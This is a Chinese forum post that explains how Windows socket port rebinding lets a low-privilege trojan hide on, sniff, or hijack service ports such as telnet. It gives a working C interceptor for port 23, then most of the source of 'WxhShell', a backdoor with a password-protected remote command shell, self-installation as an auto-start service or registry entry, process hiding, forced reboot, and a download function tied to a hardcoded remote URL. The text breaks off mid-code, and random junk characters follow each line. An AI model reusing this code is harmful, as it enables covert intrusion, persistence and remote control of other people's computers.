社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11283阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e BPMT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pt$7U[N  
hO8B]4=&*  
  saddr.sin_family = AF_INET; a,.9eHf  
y)2]:nD`B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9j/B3CjW  
C|+5F,D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4I$#R  
EW)]75o{QF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LdcP0G\"VG  
,fbO}  
  这意味着什么?意味着可以进行如下的攻击: hk(^?Fp  
HDYoM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PeOgXg)L`z  
H)Yv_gT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AyWCb  
2B|3`trY4x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #*fB~Os:  
iPao54Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =6'A8d  
 c`TgxMu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xv9C D  
z 'j%.Dd8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xZhh%~  
0z .&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SRMy#j-  
B; ~T|exu  
  #include 1mf_1spB  
  #include fE >FT9c  
  #include &A>J>b  
  #include    7J)-WXk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /}V9*mD2  
  int main() =d 9%ce  
  { ~{J.br`  
  WORD wVersionRequested; ?U&onGy  
  DWORD ret; mY-r:  
  WSADATA wsaData; l`d=sOB^  
  BOOL val; umc!KOkL  
  SOCKADDR_IN saddr; 4JucNGv  
  SOCKADDR_IN scaddr; u VB&D E  
  int err; |b|p0Z%7{  
  SOCKET s; U7O2.y+  
  SOCKET sc; A\:M}D-(  
  int caddsize; LGK}oL'  
  HANDLE mt; xZ .:H&0G  
  DWORD tid;   U^.$k-|k  
  wVersionRequested = MAKEWORD( 2, 2 ); Fik*7!XQ8  
  err = WSAStartup( wVersionRequested, &wsaData ); *fl1 =Rfr  
  if ( err != 0 ) { !JJY ( o  
  printf("error!WSAStartup failed!\n"); "p<f#s}  
  return -1; wI)W:mUZZ  
  } *}FoeDe  
  saddr.sin_family = AF_INET; w\a\I  
   ^#;2 Pd>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  7p{lDQ  
.S[5CO^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [qc90)^Q,  
  saddr.sin_port = htons(23); wEk9(|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /#blXI  
  { |>m@]s7Z  
  printf("error!socket failed!\n"); ?=6zgb"9-  
  return -1; ]F,5Oh :OY  
  } (UpSi6?\  
  val = TRUE; ~s+\Y/@A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ).LJY<A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h.PY$W<  
  { Bdf3@sbM]  
  printf("error!setsockopt failed!\n"); NVP~`sxiZ  
  return -1; 8L0#<"'0  
  } |= ~9y"F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5'@}8W3b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g=b 'T-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W;2y.2*  
(ue;O~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /6g*WX2P1  
  { 5<9}{X+@o  
  ret=GetLastError(); ?'^xO:  
  printf("error!bind failed!\n"); 7&2xUcsz)  
  return -1; Dzb@H$BQ7  
  } ="MG>4j3.F  
  listen(s,2); zvE]4}VL?  
  while(1) ~Xa >;  
  { " @.hz@>  
  caddsize = sizeof(scaddr); w<>B4m\  
  //接受连接请求 Xq9%{'9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fy7]I?vm@  
  if(sc!=INVALID_SOCKET) 1_ %3cN.  
  { Rzw}W7zg[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~|riFp=J  
  if(mt==NULL) k |M  
  { PE-Vx RN)  
  printf("Thread Creat Failed!\n"); =ayl~"bW  
  break; b16\2%Ea1  
  } zK?[6n89f  
  } $5(co)C  
  CloseHandle(mt); .a?GC(  
  } %vgn>A?]1  
  closesocket(s); H&l/o  
  WSACleanup(); S9-FKjU  
  return 0; Lk4gjs,V  
  }   ~ #Vrf0w/  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;=aj)lemCr  
  { o#CNr5/  
  SOCKET ss = (SOCKET)lpParam; =#^\ 9|?$  
  SOCKET sc; ]v$VZ '  
  unsigned char buf[4096]; eWE7>kwh  
  SOCKADDR_IN saddr; W A-\2  
  long num; 'jqkDPn  
  DWORD val; 6ID@0  
  DWORD ret; l.El3+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (6!W8x7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !np-Jmi  
  saddr.sin_family = AF_INET; +uLl3(ml  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p{NVJ^! +  
  saddr.sin_port = htons(23); RX\%R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *7FtEk/l  
  { Gu-6~^Km9  
  printf("error!socket failed!\n"); W:' H&`0  
  return -1; /5pVzv+rm  
  } ^,*!Qk<c  
  val = 100; 90X<Qs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _ 5n Lrn,~  
  { oP!oU2eqK  
  ret = GetLastError(); \W4|.[  
  return -1; I82GZL  
  } LR%]4$ /M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?)X 0l  
  { ~U}0=lRVS  
  ret = GetLastError(); B OKY X  
  return -1; +~Wg@   
  } sQwRlx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  h&}z@  
  { wkc)2z   
  printf("error!socket connect failed!\n"); %m)vQ\Vtx  
  closesocket(sc); zO)Bf(  
  closesocket(ss); @kBy|5  
  return -1; /fgy07T  
  } YMXhzqj  
  while(1) F}MjZZj(U=  
  { r^zra|]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <aSjK#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J@$KF GUs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sYa;vg4[  
  num = recv(ss,buf,4096,0); xe`SnJgA  
  if(num>0) s`#g<_{X  
  send(sc,buf,num,0); ~'lYQ[7  
  else if(num==0) 46 [k9T  
  break; efN5(9*9R  
  num = recv(sc,buf,4096,0); vX30Ijm  
  if(num>0) B5v5D[ o5  
  send(ss,buf,num,0); Xnc?oT+  
  else if(num==0) A9Kt^HR  
  break; o*_arzhA  
  } ;r?s7b/>  
  closesocket(ss); 'u}OeS"f  
  closesocket(sc);  hik.c3  
  return 0 ; XmJ?oPr7  
  } /`s{!t#Y  
<P@ "VwUX  
<5O:jd  
========================================================== pL5Bz!_r  
,8@q2a/  
下边附上一个代码,,WXhSHELL yU|=)p5  
T3bYj|rh=  
========================================================== w5<&b1:  
aOhi<I`*  
#include "stdafx.h" <IBWA0A=8a  
ROi_k4Fj  
#include <stdio.h> Uc<BLu;  
#include <string.h> \ v2-}jU(  
#include <windows.h> ^^z_[Ih  
#include <winsock2.h> `|p8zV  
#include <winsvc.h> ;q?WU>c{?  
#include <urlmon.h> LkyT4HC8n  
sW]>#e  
#pragma comment (lib, "Ws2_32.lib") kF-7OX0)  
#pragma comment (lib, "urlmon.lib") o%E-K=a  
E>c*A40=.n  
#define MAX_USER   100 // 最大客户端连接数 tS3!cO\  
#define BUF_SOCK   200 // sock buffer OE/r0C<&  
#define KEY_BUFF   255 // 输入 buffer ,5& Rra/  
L'HO"EZFj  
#define REBOOT     0   // 重启 h9Tst)iRi  
#define SHUTDOWN   1   // 关机 e'X"uH Xt.  
XyYP!<].C  
#define DEF_PORT   5000 // 监听端口 K!a7Hg  
{W'{A  
#define REG_LEN     16   // 注册表键长度 O:j=L{,d^  
#define SVC_LEN     80   // NT服务名长度 q|_Cj]{  
o0kKf+[  
// 从dll定义API II]-mb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nmw#4yHYy:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mXT{c=N)w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L"L a|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a(_3271  
C]a iu  
// wxhshell配置信息 af_b G;  
struct WSCFG { wvI}|c  
  int ws_port;         // 监听端口 %Vb~}sT:  
  char ws_passstr[REG_LEN]; // 口令 zP>=K  
  int ws_autoins;       // 安装标记, 1=yes 0=no nNhb,J  
  char ws_regname[REG_LEN]; // 注册表键名 1`2lq~=GV  
  char ws_svcname[REG_LEN]; // 服务名 G&q@B`I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :gM_v?sy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Fx-$Yqy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~.E r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \iH\N/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Sc48iDc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OzV|z/R2'  
]Wn=Oc{F  
}; 2,rjy|R`  
_N"c,P0  
// default Wxhshell configuration fBLR  
struct WSCFG wscfg={DEF_PORT, b\vL^\bX8  
    "xuhuanlingzhe", i\zN1T_  
    1, MZt&HbD-  
    "Wxhshell", a?X #G/)  
    "Wxhshell", :0% $u>;O:  
            "WxhShell Service", )U+&XjK  
    "Wrsky Windows CmdShell Service", :+<GJj_d+  
    "Please Input Your Password: ", A i~d  
  1, i9^m;Y)^I  
  "http://www.wrsky.com/wxhshell.exe", a/Cc.s   
  "Wxhshell.exe" 7 V=%&+  
    }; 5XZ\7Z|  
m^;A]0h+  
// 消息定义模块 6C- !^8[f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T# 3`&[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `;Xwv)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K 5AArI  
char *msg_ws_ext="\n\rExit."; YH3[Jvzf4  
char *msg_ws_end="\n\rQuit."; =k2"1f~e  
char *msg_ws_boot="\n\rReboot..."; yHmNO*(  
char *msg_ws_poff="\n\rShutdown..."; `aM8L  
char *msg_ws_down="\n\rSave to "; a;v;%rs  
nm`}Z'&)  
char *msg_ws_err="\n\rErr!"; .~%,eF;l$  
char *msg_ws_ok="\n\rOK!"; J5zu}U?  
i&Me7=~  
char ExeFile[MAX_PATH]; =UV=F/Af^  
int nUser = 0; xeSv+I-b  
HANDLE handles[MAX_USER]; 98%6Z8AS6U  
int OsIsNt; ~2}^ -,  
2(>=@q.1H  
SERVICE_STATUS       serviceStatus; ++CL0S$e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8]&lUMaqVZ  
98!H$6k  
// 函数声明 1-}$sO c  
int Install(void); r'J3\7N!u  
int Uninstall(void); W C3b_ia  
int DownloadFile(char *sURL, SOCKET wsh); sx][X itR+  
int Boot(int flag); ^"4u1  
void HideProc(void); HE*P0Y f=  
int GetOsVer(void); eQsoZQA1  
int Wxhshell(SOCKET wsl); ixJwv\6Y  
void TalkWithClient(void *cs); m@y_Wt  
int CmdShell(SOCKET sock); 4(p,@e31  
int StartFromService(void); sX#7;,Ft7  
int StartWxhshell(LPSTR lpCmdLine); % ^&D,  
C72btS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P"k,[ZQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B:tGD@  
Ts 3(,Y  
// 数据结构和表定义 qR8 BS4q_p  
SERVICE_TABLE_ENTRY DispatchTable[] = 33w(Pw  
{ eo'C)j# U  
{wscfg.ws_svcname, NTServiceMain}, Eq'oy~.oV  
{NULL, NULL} !Nno@S P@  
}; hP=z<&zb/  
]]_H|tO  
// 自我安装 {-,^3PI\  
int Install(void) @-BgPDi.Z  
{ f2FGod<CzN  
  char svExeFile[MAX_PATH]; ,E8~^\HV  
  HKEY key; BXX1G  
  strcpy(svExeFile,ExeFile); Wg5i#6y8w  
o/p'eY:)  
// 如果是win9x系统,修改注册表设为自启动 Lz;E/a}s  
if(!OsIsNt) { -u%'u~s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P8;f^3V(+/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;AE%f.Y  
  RegCloseKey(key); fa;GM7<e)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <>K@#|%Y&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^<nN~@j  
  RegCloseKey(key); !d=Q@oy5  
  return 0; 'gv7&$X}4  
    } OvW/{  
  } bHH=MLZR:  
} ,__|SnA.  
else { s`"ALn8m  
be5NasC  
// 如果是NT以上系统,安装为系统服务 # fl%~Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pd X"M>  
if (schSCManager!=0) 0 B[eG49  
{ _\2^s&iJh  
  SC_HANDLE schService = CreateService o*1t)HL<  
  ( QtsyMm  
  schSCManager, O"x/O#66  
  wscfg.ws_svcname, i4oBi]$T  
  wscfg.ws_svcdisp, Zc57]~  
  SERVICE_ALL_ACCESS, 3a#j&]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \^%5!  
  SERVICE_AUTO_START, Y/w) VV  
  SERVICE_ERROR_NORMAL, 9 ulr6  
  svExeFile, P1m PC  
  NULL, _G5M Q%z  
  NULL, yy-\$<j  
  NULL, zVs|go>F  
  NULL, aXefi'!6  
  NULL QZ54Osdl  
  ); wuTCdBu6hU  
  if (schService!=0) iiZK^/P$  
  { Q{Lsr,  
  CloseServiceHandle(schService); xj!_]XJ^w  
  CloseServiceHandle(schSCManager); dSBW&-p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |d1%N'Ll  
  strcat(svExeFile,wscfg.ws_svcname); ?OPAf4h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e/h7x\Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _;+N=/l0  
  RegCloseKey(key); U-EX)S^T[{  
  return 0; 0IEFCDeCO  
    } ^R4eW|H  
  } k6 f;A  
  CloseServiceHandle(schSCManager); ,/g\;#:{@]  
} nNff~u)I  
} _"`U.!3*  
^ok;<fJ  
return 1; `-N&cc  
} ?$^qcpJCp  
WwDxZ>9jw  
// 自我卸载 S Yvifgp  
int Uninstall(void) jsvD[\P  
{ VNbq]L(g  
  HKEY key; E$[\Fk}S  
Az2$\  
if(!OsIsNt) { < &'r_m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R`:NUGR  
  RegDeleteValue(key,wscfg.ws_regname); ZR'q.y[k)  
  RegCloseKey(key); U < p kg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <`q|6XWL  
  RegDeleteValue(key,wscfg.ws_regname); HH|&$C|64  
  RegCloseKey(key); a".uS4x  
  return 0; Wwf#PcC]  
  } Mr(~ *  
} Yn}_"FO'  
} |8"~ou:.  
else { -$4%@Z  
VBssn]w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Ecm Nwr  
if (schSCManager!=0) Cs %-f"  
{  G?]E6R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EhybaRy;C  
  if (schService!=0) q'?:{k$%  
  { hqY9\,.C  
  if(DeleteService(schService)!=0) { ${ ~UA 6  
  CloseServiceHandle(schService); 8E Y< ^:  
  CloseServiceHandle(schSCManager); 5b[:B~J  
  return 0; aM9St!i  
  } O.E   
  CloseServiceHandle(schService); `B6{y9J6  
  } rQ'tab.,]  
  CloseServiceHandle(schSCManager); v) q6  
} WU1o4&OF  
} 8Db~OYVJG  
bhSpSul  
return 1; z[S,hD\w  
} \wNn c"  
Co19^g*  
// 从指定url下载文件 iEki<e/  
int DownloadFile(char *sURL, SOCKET wsh) 7`tnoTUv  
{ _A)<"z0E  
  HRESULT hr; rA9x T`  
char seps[]= "/"; C<fNIc~.  
char *token; )B*?se]LJ  
char *file; ?4Z0)%6  
char myURL[MAX_PATH]; jl2nRo  
char myFILE[MAX_PATH]; ) ZOmv  
ZZE  
strcpy(myURL,sURL); q'2PG@  
  token=strtok(myURL,seps); ooIMN =  
  while(token!=NULL) >UJ&noUD#:  
  { ),\>'{~5&  
    file=token; `z)!!y  
  token=strtok(NULL,seps); }]zmp/;a  
  } GGF;T&DWad  
{zUc*9  
GetCurrentDirectory(MAX_PATH,myFILE); "\BP+AF  
strcat(myFILE, "\\"); Whd4-pR8  
strcat(myFILE, file); }C7tlA8,7  
  send(wsh,myFILE,strlen(myFILE),0); ^l^_K)tw*  
send(wsh,"...",3,0); #s#z@F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G-3.-  
  if(hr==S_OK) #K! Df%,<  
return 0; pLzsL>6h  
else *!9/`zW  
return 1; ?GFxJ6!%I  
OqBw&zm  
} hDlk! #*  
R C (v#G  
// 系统电源模块 Ti3BlWQH  
int Boot(int flag) q 8=u.T  
{ bOck^1Hky  
  HANDLE hToken; kM3BP& 3m1  
  TOKEN_PRIVILEGES tkp; MmWJYF=  
g-p OO/|  
  if(OsIsNt) { SC2C%.%l`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q qzQKN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : 6>H\  
    tkp.PrivilegeCount = 1; HB`pK'gz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v[a#>!;s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I9F[b#'Pn  
if(flag==REBOOT) { DJQ]NY|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _;B!6cRLps  
  return 0;  29sgi"  
} 0!vC0T[  
else { 3^Yk?kFE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \;7DS:d@  
  return 0; FOk @W&  
} U*&ZQw  
  } 50DPzn  
  else { NNl/'ge <\  
if(flag==REBOOT) { M@'V4oUz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %&_(IY$d  
  return 0; ($S{td;  
} t^CT^z  
else { o~-X7)]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q5,@ P?  
  return 0; )E7A,ZW,  
} uCu,'F,6Y  
} 3(5RUI-  
2/7=@>|  
return 1; %o"Rcw|  
} [BQw$8 +n_  
gs8L/veP  
// win9x进程隐藏模块 Ox~'w0c,f  
void HideProc(void) Tc88U8Gc  
{ _).'SU)>  
W;N/Y3Lb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'hek CZZ_I  
  if ( hKernel != NULL ) ?Nh%!2n  
  { =` i 7?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'o7PIhD"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); phc1AN=[E  
    FreeLibrary(hKernel); f0D Ch]  
  } $k`8Zx w  
KV5lpN PC  
return; 4*+EUJ|  
} 7@lXN8_f  
]F@md(J  
// 获取操作系统版本 }a9C /t3  
int GetOsVer(void) p_z"Uwp  
{ sRZ:9de+  
  OSVERSIONINFO winfo; zDl, bLiJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 42wcpSp  
  GetVersionEx(&winfo); Mb>6.l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CD&m4^X5D  
  return 1; *[SsvlFt  
  else H*\[:tPa  
  return 0; .d "+M{I  
} oX}n"5o:  
vR)7qX}  
// 客户端句柄模块 6fV)8,F3  
int Wxhshell(SOCKET wsl) '!2t9B8XX  
{ NdNfai  
  SOCKET wsh; b}4/4Z.  
  struct sockaddr_in client; N/%#GfXx  
  DWORD myID; qXI30Yo#d  
*n*y!z  
  while(nUser<MAX_USER) v)d0MxSC  
{ kW!:bh  
  int nSize=sizeof(client); +E [bLz^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *(`.h\+  
  if(wsh==INVALID_SOCKET) return 1; %f-<ol  
$dnHUBB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nb#7&_f=  
if(handles[nUser]==0) WsV3>=@f  
  closesocket(wsh); ) ,hj7  
else >1~`tP  
  nUser++; .]e6TFsrO  
  } btF%}<o)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _Y|kX2l S@  
cik@QN<[0  
  return 0; V[I<9xaE  
} -$)Et|  
V`M,d~:Pr"  
// 关闭 socket ,xz^ k/.  
void CloseIt(SOCKET wsh) 68c;Vb  
{ yy } 0_  
closesocket(wsh); |d5L Ifb(  
nUser--; 2`I;f/S d  
ExitThread(0); 1!`768  
} /a(zLHyz)  
e\_6/j7'  
// 客户端请求句柄 BP[U` !  
void TalkWithClient(void *cs) .V3Dql@z"  
{ l1)pr{A  
Qyjuzfmz  
  SOCKET wsh=(SOCKET)cs; N 9&@,3  
  char pwd[SVC_LEN]; :b ;1P@W<  
  char cmd[KEY_BUFF]; CCY|FK  
char chr[1]; k@aP&Z~  
int i,j; ]'h)7  
#5C3S3e=  
  while (nUser < MAX_USER) { O|RO j  
DjIswI1I  
if(wscfg.ws_passstr) { X{xJ*T y'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~|9LWp_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XC1lo4|  
  //ZeroMemory(pwd,KEY_BUFF); j_yFH#^W:  
      i=0; 62x< rph  
  while(i<SVC_LEN) { 4)iEj  
ijqdZ+  
  // 设置超时 NydW9r:T  
  fd_set FdRead; k6-n.Rl01  
  struct timeval TimeOut; Gr@{p"./z  
  FD_ZERO(&FdRead); N`Xnoehu  
  FD_SET(wsh,&FdRead); )Zf}V0!?+  
  TimeOut.tv_sec=8; N#)VD\m  
  TimeOut.tv_usec=0; _Af4ct;ng  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :3>yr5a7-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IVzA>Vd  
j& o+KV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4<g72| y  
  pwd=chr[0]; >.hGoT!_k  
  if(chr[0]==0xd || chr[0]==0xa) { HCIF9{o1j>  
  pwd=0; _O;~ }N4u  
  break; ,*Z[P%<9  
  } WJU NJN  
  i++; *6D%mrK  
    } A]?O& m |  
c;rp@_ULG?  
  // 如果是非法用户,关闭 socket J8v:a`bX&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h==GdS4  
} 8}oDRN!J  
C9g~l}=$&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9T,QW k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xnQGCw?S&}  
O 4Pd N?  
while(1) { e~s7ggg2k  
'+I 2$xE  
  ZeroMemory(cmd,KEY_BUFF); [9U srpYi  
; 9 &1JX  
      // 自动支持客户端 telnet标准   w52HN;Jm  
  j=0; DYKV54\ue  
  while(j<KEY_BUFF) { /N]Ow  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &#oZ>`Qu  
  cmd[j]=chr[0]; sR>;h /  
  if(chr[0]==0xa || chr[0]==0xd) { 4`-?r%$,:  
  cmd[j]=0; 31sgf5 s  
  break; V=4u7!ha  
  } ;k&k#>L!K  
  j++; TnBGMI,g'  
    } 3zA=q[C  
y]pN=<*h5  
  // 下载文件 ]6%%X+$7  
  if(strstr(cmd,"http://")) { Q xF8=p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `?o1cf A  
  if(DownloadFile(cmd,wsh)) l&sO?P[ /  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xf_tj:eO~  
  else 5-5(`OZ{'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1xdESorX(  
  } _IKP{WNB  
  else { G2+)R^FSC  
D@(M+u9/%  
    switch(cmd[0]) { ul=a\;3x#|  
  ?J@?,rZQ^V  
  // 帮助 x$5nLS2.  
  case '?': { 9 QCpXy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kpp *^  
    break; H=o-ScA  
  } \eMYw7y5 M  
  // 安装 8 1K G1i)  
  case 'i': { tD~PvUJ  
    if(Install()) 4}8+)Pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -m'3L7:  
    else a,57`Ks+n<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >,"D9!  
    break; !!+/Wgd:6  
    } af?\kBm  
  // 卸载 @Wx`l) b  
  case 'r': { [rUh;_b\D  
    if(Uninstall()) k|$"TFXx;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }u3H4S<o  
    else L >Ez-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "'}v0*[  
    break; J'\eS./w|  
    } W#Hv~1  
  // 显示 wxhshell 所在路径 QK3j_'F=E  
  case 'p': { IQlw 914  
    char svExeFile[MAX_PATH]; q:- ]d0B+  
    strcpy(svExeFile,"\n\r"); l q\'  
      strcat(svExeFile,ExeFile); F'UguC">  
        send(wsh,svExeFile,strlen(svExeFile),0); Dmm r]~  
    break; fs3 -rXoB  
    } L=$?q/=-  
  // 重启 "\zj][sL  
  case 'b': { _Xk03\n6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); csFJ5  
    if(Boot(REBOOT)) 1IF'>*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CDnR  
    else { 6N %L8Q  
